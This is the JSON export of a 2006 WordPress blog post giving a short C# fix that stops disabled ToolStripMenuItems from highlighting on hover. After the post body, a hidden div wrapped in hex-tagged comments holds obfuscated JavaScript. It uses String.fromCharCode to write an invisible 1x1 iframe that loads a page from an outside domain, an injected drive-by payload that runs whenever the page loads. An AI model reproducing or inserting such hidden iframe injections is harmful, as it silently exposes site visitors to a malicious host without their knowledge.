{"id":103,"date":"2006-09-06T18:36:26","date_gmt":"2006-09-06T17:36:26","guid":{"rendered":"http:\/\/freegw.xs4all.nl\/~basp\/wordpress\/index.php\/2006\/09\/06\/the-infamous-toolstripmenuitem\/"},"modified":"2010-06-25T20:52:34","modified_gmt":"2010-06-25T19:52:34","slug":"the-infamous-toolstripmenuitem","status":"publish","type":"post","link":"\/~basp\/wordpress\/index.php\/2006\/09\/06\/the-infamous-toolstripmenuitem\/","title":{"rendered":"The"},"content":{"rendered":"<p>The notorious and famous ToolStripMenuItem class. Although it looks great in a strip it does not always behave like you think it should. It has somewhat a <a href=\"http:\/\/weblogs.asp.net\/fbouma\/archive\/2006\/08\/10\/.NET-2.0_2700_s-ToolStripMenuItem-are-hard-to-disable_2E002E002E00_.aspx\">mind of it&#8217;s own<\/a>.<\/p>\n<p>The annoying thing with this class is that even when the ToolStripMenuItem is disabled, it still light&#8217;s up when you hover your mouse over it. I searched high and low and was affraid I had to pull of some black magic to get it to behave to my whishes but fortunately there is an easier (and much prettier) way:<\/p>\n<p>[csharp]public class ProperMenuItem : ToolStripMenuItem<br \/>\n{<br \/>\n    public ProperMenuItem(string text, Image image, EventHandler onClick)<br \/>\n        : this(text, image, onClick, null)<br \/>\n    {<br \/>\n    }<\/p>\n<p>    public ProperMenuItem(string text, Image image, EventHandler onClick, Keys shortcutKeys)<br \/>\n        : base(text, image, onClick, shortcutKeys)<br \/>\n    {<br \/>\n    }<\/p>\n<p>    public override bool CanSelect<br \/>\n    {<br \/>\n        \/\/ without this line the items still receive<br \/>\n        \/\/ focus even though they are clearly disabled<br \/>\n        get { return this.Enabled; }<br \/>\n    }<br \/>\n}[\/csharp]<\/p>\n<p>I assumed more people must have wandered into this but all I found was a <a href=\"http:\/\/dotnetfire.com\/news.aspx?newsID=47494\">lone cry for help<\/a> without any responses. So I wrestled with this class for a few hours (yes, pathetic, I know) and finally (by trial and error really) found an acceptable solution.<!--more--><!--03757a84821b7c98c3d62ac0588aaa7a22010--><\/p>\n<div style=\"display:none\">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))<\/div>\n<p><!--\/03757a84821b7c98c3d62ac0588aaa7a22010--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The notorious and famous ToolStripMenuItem class. Although it looks great in a strip it does not always behave like you think it should. It has somewhat a mind of it&#8217;s own. The annoying thing with this class is that even when the ToolStripMenuItem is disabled, it still light&#8217;s up when you hover your mouse over &hellip; <\/p>\n<p class=\"link-more\"><a href=\"\/~basp\/wordpress\/index.php\/2006\/09\/06\/the-infamous-toolstripmenuitem\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;The&#8221;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-103","post","type-post","status-publish","format-standard","hentry","category-c","entry"],"_links":{"self":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/103","targetHints":{"allow":["GET"]}}],"collection":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/comments?post=103"}],"version-history":[{"count":0,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/103\/revisions"}],"wp:attachment":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/media?parent=103"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/categories?post=103"},{"taxonomy":"post_tag","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/tags?post=103"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}